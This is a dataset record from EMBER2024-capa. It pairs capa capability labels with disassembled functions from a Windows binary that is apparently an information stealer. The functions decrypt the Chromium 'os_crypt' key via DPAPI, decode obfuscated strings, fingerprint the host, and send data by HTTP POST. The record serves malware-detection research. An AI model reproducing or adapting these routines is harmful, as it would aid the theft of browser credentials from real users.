joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000e228
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 8], rcx
mov eax, 0x1158
call fcn.140069710
sub rsp, rax
lea r8, [rsp + 0x30]
mov edx, 0x1000
lea rcx, [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
jne 0x14000e25d
xor al, al
jmp 0x14000e307
mov eax, dword [rsp + 0x30]
xor edx, edx
mov ecx, 4
div rcx
mov dword [rsp + 0x34], eax
mov dword [rsp + 0x20], 0
jmp 0x14000e283
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x34]
cmp dword [rsp + 0x20], eax
jae 0x14000e305
mov eax, dword [rsp + 0x20]
mov r8d, dword [rsp + rax*4 + 0x150]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x14000e300
mov r9d, 0x104
lea r8, [rsp + 0x40]
xor edx, edx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameA]
test eax, eax
je 0x14000e2f4
mov rdx, qword [rsp + 0x1160]
lea rcx, [rsp + 0x40]
call fcn.14007a2a4
test eax, eax
jne 0x14000e2f4
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x14000e307
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x14000e279
xor al, al
add rsp, 0x1158
ret

Function at 0x14000e310
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x24], 0x10
lea rdx, [rsp + 0x24]
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x14000e35e
lea rdx, [rsp + 0x28]
mov rcx, qword [rsp + 0x50]
call fcn.140025ec8
mov eax, dword [rsp + 0x20]
or eax, 1
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x50]
jmp 0x14000e378
mov rcx, qword [rsp + 0x50]
call fcn.140025ffc
mov eax, dword [rsp + 0x20]
or eax, 1
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x50]
add rsp, 0x48
ret

Function at 0x14000e6c0
Capabilities:
Get system firmware table

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov qword [rsp + 0x28], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0x52534d42
call qword [sym.imp.KERNEL32.dll_GetSystemFirmwareTable]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jbe 0x14000e740
cmp qword [rsp + 0x28], 0
je 0x14000e740
mov eax, dword [rsp + 0x20]
mov ecx, eax
call fcn.14007bb44
mov qword [rsp + 0x28], rax
mov r9d, dword [rsp + 0x20]
mov r8, qword [rsp + 0x28]
xor edx, edx
mov ecx, 0x52534d42
call qword [sym.imp.KERNEL32.dll_GetSystemFirmwareTable]
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x20]
cmp dword [rsp + 0x24], eax
je 0x14000e740
mov rcx, qword [rsp + 0x28]
call fcn.14007a374
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x28]
add rsp, 0x38
ret
Function at 0x14000ff8c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov qword [rsp + 0x30], 0x1e
mov byte [rsp + 0x38], 0x5e
mov byte [rsp + 0x39], 0x5e
mov byte [rsp + 0x3a], 0x1d
mov byte [rsp + 0x3b], 0xa
mov byte [rsp + 0x3c], 0xdc
mov byte [rsp + 0x3d], 0xed
mov byte [rsp + 0x3e], 0xc5
mov byte [rsp + 0x3f], 0xef
mov byte [rsp + 0x40], 0x2d
mov byte [rsp + 0x41], 0x5d
mov byte [rsp + 0x42], 3
mov byte [rsp + 0x43], 0
mov byte [rsp + 0x44], 0xd2
mov byte [rsp + 0x45], 0x99
mov byte [rsp + 0x46], 0xb2
mov byte [rsp + 0x47], 0xac
mov byte [rsp + 0x48], 0x63
mov byte [rsp + 0x49], 0x28
mov byte [rsp + 0x4a], 0x63
mov byte [rsp + 0x4b], 0x10
mov byte [rsp + 0x4c], 0xdd
mov byte [rsp + 0x4d], 0xd8
mov byte [rsp + 0x4e], 0x96
mov byte [rsp + 0x4f], 0xa0
mov byte [rsp + 0x50], 0x4f
mov byte [rsp + 0x51], 0x74
mov byte [rsp + 0x52], 0x30
mov byte [rsp + 0x53], 0x3d
mov byte [rsp + 0x54], 0xfb
mov byte [rsp + 0x55], 0xb9
mov eax, 0x3cc
mov eax, eax
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x1400100bc
mov eax, 0x3cc
mov eax, eax
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx]
mov eax, dword [rcx + rax]
or eax, 1
mov dword [rsp + 0x20], eax
mov rax, qword gs:[0x58]
mov ecx, 0x3cc
mov ecx, ecx
mov rax, qword [rax]
mov edx, dword [rsp + 0x20]
mov dword [rcx + rax], edx
mov eax, 0x3a0
mov eax, eax
mov rcx, qword gs:[0x58]
add rax, qword [rcx]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x28]
call fcn.140020d78
lea rcx, [0x140195340]
call fcn.1400692c0
nop
mov eax, 0x3a0
mov eax, eax
mov rcx, qword gs:[0x58]
add rax, qword [rcx]
add rsp, 0x68
ret

Function at 0x1400100d4
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov qword [rsp], 0
jmp 0x1400100fc
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
mov rax, qword [rsp + 0x28]
cmp qword [rsp], rax
jae 0x140010158
xor edx, edx
mov rax, qword [rsp]
mov ecx, 8
div rcx
mov rax, rdx
shl rax, 3
mov cl, al
mov rax, qword [rsp + 0x30]
shr rax, cl
and rax, 0xff
movsx eax, al
mov rcx, qword [rsp]
mov rdx, qword [rsp + 0x20]
add rdx, rcx
mov rcx, rdx
movsx ecx, byte [rcx]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp]
mov rdx, qword [rsp + 0x20]
add rdx, rcx
mov rcx, rdx
mov byte [rcx], al
jmp 0x1400100f1
add rsp, 0x18
ret
Function at 0x1400131d0
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov eax, 0x1158
call fcn.140069710
sub rsp, rax
lea r8, [rsp + 0x30]
mov edx, 0x1000
lea rcx, [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
jne 0x14001320a
xor al, al
jmp 0x1400132b4
mov eax, dword [rsp + 0x30]
xor edx, edx
mov ecx, 4
div rcx
mov dword [rsp + 0x34], eax
mov dword [rsp + 0x20], 0
jmp 0x140013230
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x34]
cmp dword [rsp + 0x20], eax
jae 0x1400132b2
mov eax, dword [rsp + 0x20]
mov r8d, dword [rsp + rax*4 + 0x150]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x1400132ad
mov r9d, 0x104
lea r8, [rsp + 0x40]
xor edx, edx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameA]
test eax, eax
je 0x1400132a1
mov rdx, qword [rsp + 0x1168]
lea rcx, [rsp + 0x40]
call fcn.140073dd0
test eax, eax
jne 0x1400132a1
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x1400132b4
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x140013226
xor al, al
add rsp, 0x1158
ret

Function at 0x140014294
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov qword [rsp], 0
jmp 0x1400142bc
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
mov rax, qword [rsp + 0x28]
cmp qword [rsp], rax
jae 0x14001430f
xor edx, edx
mov rax, qword [rsp]
mov ecx, 8
div rcx
mov rax, rdx
shl rax, 3
mov cl, al
mov rax, qword [rsp + 0x30]
shr rax, cl
and rax, 0xff
movzx eax, ax
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp]
movzx ecx, word [rcx + rdx*2]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp]
mov word [rcx + rdx*2], ax
jmp 0x1400142b1
add rsp, 0x18
ret
Function at 0x140015238
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x440
mov dword [rsp + 0x34], 1
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x400
rep stosb byte [rdi], al
mov dword [rsp + 0x30], 0x400
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rdx, qword [rsp + 0x460]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14001532a
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x34]
xor r8d, r8d
mov rdx, qword [rsp + 0x468]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x14001531e
mov rdx, qword [rsp + 0x470]
lea rcx, [rsp + 0x40]
call fcn.140073dd0
test eax, eax
jne 0x14001531e
lea rdx, [0x1401a2620]
mov rcx, qword [rsp + 0x458]
call fcn.14001d41c
mov rax, qword [rsp + 0x450]
mov rax, qword [rax]
mov al, byte [rax]
inc al
mov rcx, qword [rsp + 0x450]
mov rcx, qword [rcx]
mov byte [rcx], al
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
add rsp, 0x440
pop rdi
ret
Function at 0x14001beb4
Capabilities:
Query or enumerate registry value
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov qword [rsp + 0x50], 0
mov rax, qword [rsp + 0x90]
mov rax, qword [rax]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x90]
mov rax, qword [rax + 8]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x58], 0
mov dword [rsp + 0x3c], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x44], 0
lea r8, [rsp + 0x50]
mov rdx, qword [rsp + 0x68]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
je 0x14001bf3b
xor eax, eax
jmp 0x14001c0c2
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
je 0x14001bf78
xor eax, eax
jmp 0x14001c0c2
mov eax, dword [rsp + 0x3c]
mov ecx, eax
call fcn.14007bb44
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x44]
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x30], 0
jmp 0x14001bfd2
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x48]
mov eax, dword [rax]
cmp dword [rsp + 0x30], eax
jae 0x14001c0be
mov dword [rsp + 0x34], 0
jmp 0x14001bff7
mov eax, dword [rsp + 0x34]
inc eax
mov dword [rsp + 0x34], eax
mov eax, 0x24
imul rax, rax, 0
mov rcx, qword [rsp + 0x48]
mov eax, dword [rcx + rax + 0x10]
cmp dword [rsp + 0x34], eax
jae 0x14001c0b9
mov eax, dword [rsp + 0x30]
imul rax, rax, 0x24
mov rcx, qword [rsp + 0x48]
lea rax, [rcx + rax + 4]
mov ecx, dword [rsp + 0x34]
imul rcx, rcx, 0x14
movzx eax, byte [rax + rcx + 0x10]
cmp eax, 3
jne 0x14001c0b4
cmp qword [rsp + 0x88], 0
je 0x14001c0aa
mov eax, dword [rsp + 0x30]
imul rax, rax, 0x24
mov rcx, qword [rsp + 0x48]
lea rax, [rcx + rax + 4]
mov ecx, dword [rsp + 0x34]
imul rcx, rcx, 0x14
mov rdx, qword [rsp + 0x88]
mov rax, qword [rax + rcx + 0x14]
mov qword [rdx + 8], rax
mov eax, dword [rsp + 0x30]
imul rax, rax, 0x24
mov rcx, qword [rsp + 0x48]
lea rax, [rcx + rax + 4]
mov ecx, dword [rsp + 0x34]
imul rcx, rcx, 0x14
mov eax, dword [rax + rcx + 0x1c]
mov rcx, qword [rsp + 0x88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x88]
add rax, 0x10
mov qword [rsp + 0x88], rax
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
jmp 0x14001bfed
jmp 0x14001bfc8
mov eax, dword [rsp + 0x40]
add rsp, 0x78
ret
Function at 0x14001c4a8
Capabilities:
Create directory
Delete directory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rcx, qword [rsp + 0x48]
call fcn.1400259a0
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14001c4e0
mov al, 1
jmp 0x14001c4fd
cmp dword [rsp + 0x20], 0
je 0x14001c4fb
mov rcx, qword [rsp + 0x48]
call fcn.1400259a0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
nop
xor al, al
add rsp, 0x38
ret
Function at 0x14001df90
Capabilities:
Encrypt data using dpapi

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x198
mov dword [rsp + 0x40], 0
mov rax, qword [rsp + 0x1a0]
mov r8, rax
lea rdx, [rsp + 0xf8]
mov rcx, qword [rsp + 0x1a0]
call fcn.14001f0ec
nop
lea rax, [rsp + 0x150]
mov qword [rsp + 0x80], rax
xor edx, edx
mov rcx, qword [rsp + 0x80]
call fcn.1400248e0
mov qword [rsp + 0x88], rax
mov byte [rsp + 0x20], 0
mov r9b, 1
mov r8, qword [rsp + 0x88]
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x70]
call fcn.14002de94
nop
lea rdx, str.os_crypt
lea rcx, [rsp + 0x70]
call fcn.14002dfe4
mov qword [rsp + 0x90], rax
lea rdx, str.encrypted_key
mov rcx, qword [rsp + 0x90]
call fcn.14002dfe4
mov qword [rsp + 0x98], rax
lea rdx, [rsp + 0xd8]
mov rcx, qword [rsp + 0x98]
call fcn.14002e024
nop
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0x48]
call fcn.14002e060
nop
lea rdx, [rsp + 0x118]
lea rcx, [rsp + 0x48]
call fcn.140024a80
mov qword [rsp + 0xa0], rax
mov r8d, 5
lea rdx, [rsp + 0x120]
mov rcx, qword [rsp + 0xa0]
call fcn.14002436c
mov rax, qword [rax]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0xb8], rax
lea rdx, [rsp + 0x128]
lea rcx, [rsp + 0x48]
call fcn.140024a80
mov rax, qword [rax]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0xc0], rax
mov r9, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xc0]
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x48]
call fcn.140024ad4
nop
lea rcx, [rsp + 0x48]
call fcn.140024958
mov dword [rsp + 0xc8], eax
lea rcx, [rsp + 0x48]
call fcn.140020904
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0xc8]
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x14001e219
lea rcx, [rsp + 0x44]
call fcn.140008178
mov ecx, dword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
add rdx, rcx
mov rcx, rdx
mov r9, rax
mov r8, rcx
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x138]
call fcn.14002e0c0
nop
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rdx, [rsp + 0x138]
mov rcx, qword [rsp + 0x1a8]
call fcn.14002475c
mov eax, dword [rsp + 0x40]
or eax, 1
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x138]
call fcn.140024c5c
nop
lea rcx, [rsp + 0x48]
call fcn.140024c5c
nop
lea rcx, [rsp + 0xd8]
call fcn.140025d54
nop
lea rcx, [rsp + 0x70]
call fcn.140024904
nop
lea rcx, [rsp + 0xf8]
call fcn.140025d54
mov rax, qword [rsp + 0x1a8]
jmp 0x14001e29b
mov rcx, qword [rsp + 0x1a8]
call fcn.14002093c
mov eax, dword [rsp + 0x40]
or eax, 1
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x48]
call fcn.140024c5c
nop
lea rcx, [rsp + 0xd8]
call fcn.140025d54
nop
lea rcx, [rsp + 0x70]
call fcn.140024904
nop
lea rcx, [rsp + 0xf8]
call fcn.140025d54
mov rax, qword [rsp + 0x1a8]
jmp 0x14001e29b
add rsp, 0x198
ret
Function at 0x14001e824
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov qword [rsp + 0x30], 0x3e
mov byte [rsp + 0x38], 0x78
mov byte [rsp + 0x39], 0xd2
mov byte [rsp + 0x3a], 0xf3
mov byte [rsp + 0x3b], 0xca
mov byte [rsp + 0x3c], 0xf8
mov byte [rsp + 0x3d], 0x3f
mov byte [rsp + 0x3e], 0xb3
mov byte [rsp + 0x3f], 0x5c
mov byte [rsp + 0x40], 0x59
mov byte [rsp + 0x41], 0xfe
mov byte [rsp + 0x42], 0xd8
mov byte [rsp + 0x43], 0xe6
mov byte [rsp + 0x44], 0xd5
mov byte [rsp + 0x45], 0x34
mov byte [rsp + 0x46], 0xe6
mov byte [rsp + 0x47], 0x41
mov byte [rsp + 0x48], 0x47
mov byte [rsp + 0x49], 0xbb
mov byte [rsp + 0x4a], 0x9f
mov byte [rsp + 0x4b], 0xfa
mov byte [rsp + 0x4c], 0xc8
mov byte [rsp + 0x4d], 0xe
mov byte [rsp + 0x4e], 0xe1
mov byte [rsp + 0x4f], 0x5d
mov byte [rsp + 0x50], 0x4a
mov byte [rsp + 0x51], 0xfa
mov byte [rsp + 0x52], 0xda
mov byte [rsp + 0x53], 0xd0
mov byte [rsp + 0x54], 0xcd
mov byte [rsp + 0x55], 0xa
mov byte [rsp + 0x56], 0xff
mov byte [rsp + 0x57], 0x46
mov byte [rsp + 0x58], 0x4e
mov byte [rsp + 0x59], 0xbb
mov byte [rsp + 0x5a], 0x9f
mov byte [rsp + 0x5b], 0xff
mov byte [rsp + 0x5c], 0xda
mov byte [rsp + 0x5d], 0x18
mov byte [rsp + 0x5e], 0xe0
mov byte [rsp + 0x5f], 0x44
mov byte [rsp + 0x60], 0x44
mov byte [rsp + 0x61], 0xe5
mov byte [rsp + 0x62], 0xdb
mov byte [rsp + 0x63], 0xd0
mov byte [rsp + 0x64], 0xcd
mov byte [rsp + 0x65], 0xa
mov byte [rsp + 0x66], 0xff
mov byte [rsp + 0x67], 0x46
mov byte [rsp + 0x68], 0x4e
mov byte [rsp + 0x69], 0xb7
mov byte [rsp + 0x6a], 0xf9
mov byte [rsp + 0x6b], 0xdd
mov byte [rsp + 0x6c], 0xf4
mov byte [rsp + 0x6d], 0x26
mov byte [rsp + 0x6e], 0xb3
mov byte [rsp + 0x6f], 0x5f
mov byte [rsp + 0x70], 0x44
mov byte [rsp + 0x71], 0xf0
mov byte [rsp + 0x72], 0xd6
mov byte [rsp + 0x73], 0xe1
mov byte [rsp + 0x74], 0xc8
mov byte [rsp + 0x75], 0x6b
mov eax, 0x2b0
mov eax, eax
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x14001e9f7
mov eax, 0x2b0
mov eax, eax
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx]
mov eax, dword [rcx + rax]
or eax, 1
mov dword [rsp + 0x20], eax
mov rax, qword gs:[0x58]
mov ecx, 0x2b0
mov ecx, ecx
mov rax, qword [rax]
mov edx, dword [rsp + 0x20]
mov dword [rcx + rax], edx
mov eax, 0x270
mov eax, eax
mov rcx, qword gs:[0x58]
add rax, qword [rcx]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x28]
call fcn.1400206d0
lea rcx, [0x1401954c8]
call fcn.1400692c0
nop
mov eax, 0x270
mov eax, eax
mov rcx, qword gs:[0x58]
add rax, qword [rcx]
add rsp, 0x88
ret
Function at 0x14001eff4
Capabilities:
Encrypt data using dpapi

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x98
mov dword [rsp + 0x40], 0
mov rcx, qword [rsp + 0xb0]
call fcn.1400259a0
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0xb0]
call fcn.140025550
mov dword [rsp + 0x58], eax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x58]
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x14001f0bb
mov eax, dword [rsp + 0x48]
mov r8d, eax
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x68]
call fcn.140025f20
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rdx, [rsp + 0x68]
mov rcx, qword [rsp + 0xa8]
call fcn.140025dfc
mov eax, dword [rsp + 0x40]
or eax, 1
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x68]
call fcn.140025d54
mov rax, qword [rsp + 0xa8]
jmp 0x14001f0e2
lea rdx, [0x1401a2620]
mov rcx, qword [rsp + 0xa8]
call fcn.140025ec8
mov eax, dword [rsp + 0x40]
or eax, 1
mov dword [rsp + 0x40], eax
mov rax, qword [rsp + 0xa8]
add rsp, 0x98
ret
Function at 0x14001f1f4
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x80
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x40]
call fcn.14001f3b0
mov rcx, rax
call fcn.1400203f8
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x41]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x41]
call fcn.14001f728
mov rcx, rax
call fcn.140020330
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8w, 0x1bb
mov rdx, rax
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x42]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x42]
call fcn.14001f818
mov rcx, rax
call fcn.140020268
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
lea rdx, str.POST
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x43]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x43]
call fcn.14001faf8
mov rcx, rax
call fcn.1400201a0
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x98]
call fcn.140025550
mov dword [rsp + 0x44], eax
mov rcx, qword [rsp + 0x98]
call fcn.1400259a0
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x50]
call fcn.140079e20
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x20], eax
mov r9, qword [rsp + 0x70]
mov r8d, dword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
add rsp, 0x80
pop rdi
ret
Function at 0x14001faf8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov qword [rsp + 0x30], 0x21
mov byte [rsp + 0x38], 0x28
mov byte [rsp + 0x39], 0xd4
mov byte [rsp + 0x3a], 0xa5
mov byte [rsp + 0x3b], 0x2d
mov byte [rsp + 0x3c], 8
mov byte [rsp + 0x3d], 0x29
mov byte [rsp + 0x3e], 0x3d
mov byte [rsp + 0x3f], 0xe0
mov byte [rsp + 0x40], 0x3f
mov byte [rsp + 0x41], 0xc2
mov byte [rsp + 0x42], 0xbb
mov byte [rsp + 0x43], 0x3c
mov byte [rsp + 0x44], 0x57
mov byte [rsp + 0x45], 0x67
mov byte [rsp + 0x46], 0x28
mov byte [rsp + 0x47], 0xbd
mov byte [rsp + 0x48], 0x1b
mov byte [rsp + 0x49], 0xd7
mov byte [rsp + 0x4a], 0xa2
mov byte [rsp + 0x4b], 0x3a
mov byte [rsp + 0x4c], 0xc
mov byte [rsp + 0x4d], 0x33
mov byte [rsp + 0x4e], 0x20
mov byte [rsp + 0x4f], 0xa2
mov byte [rsp + 0x50], 5
mov byte [rsp + 0x51], 0x94
mov byte [rsp + 0x52], 0xa1
mov byte [rsp + 0x53], 0x2a
mov byte [rsp + 0x54], 2
mov byte [rsp + 0x55], 0x29
mov byte [rsp + 0x56], 0x44
mov byte [rsp + 0x57], 0xc7
mov byte [rsp + 0x58], 0x6b
mov eax, 0x160
mov eax, eax
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x14001fc37
mov eax, 0x160
mov eax, eax
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx]
mov eax, dword [rcx + rax]
or eax, 1
mov dword [rsp + 0x20], eax
mov rax, qword gs:[0x58]
mov ecx, 0x160
mov ecx, ecx
mov rax, qword [rax]
mov edx, dword [rsp + 0x20]
mov dword [rcx + rax], edx
mov eax, 0x300
mov eax, eax
mov rcx, qword gs:[0x58]
add rax, qword [rcx]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x28]
call fcn.140020200
lea rcx, [0x140195428]
call fcn.1400692c0
nop
mov eax, 0x300
mov eax, eax
mov rcx, qword gs:[0x58]
add rax, qword [rcx]
add rsp, 0x68
ret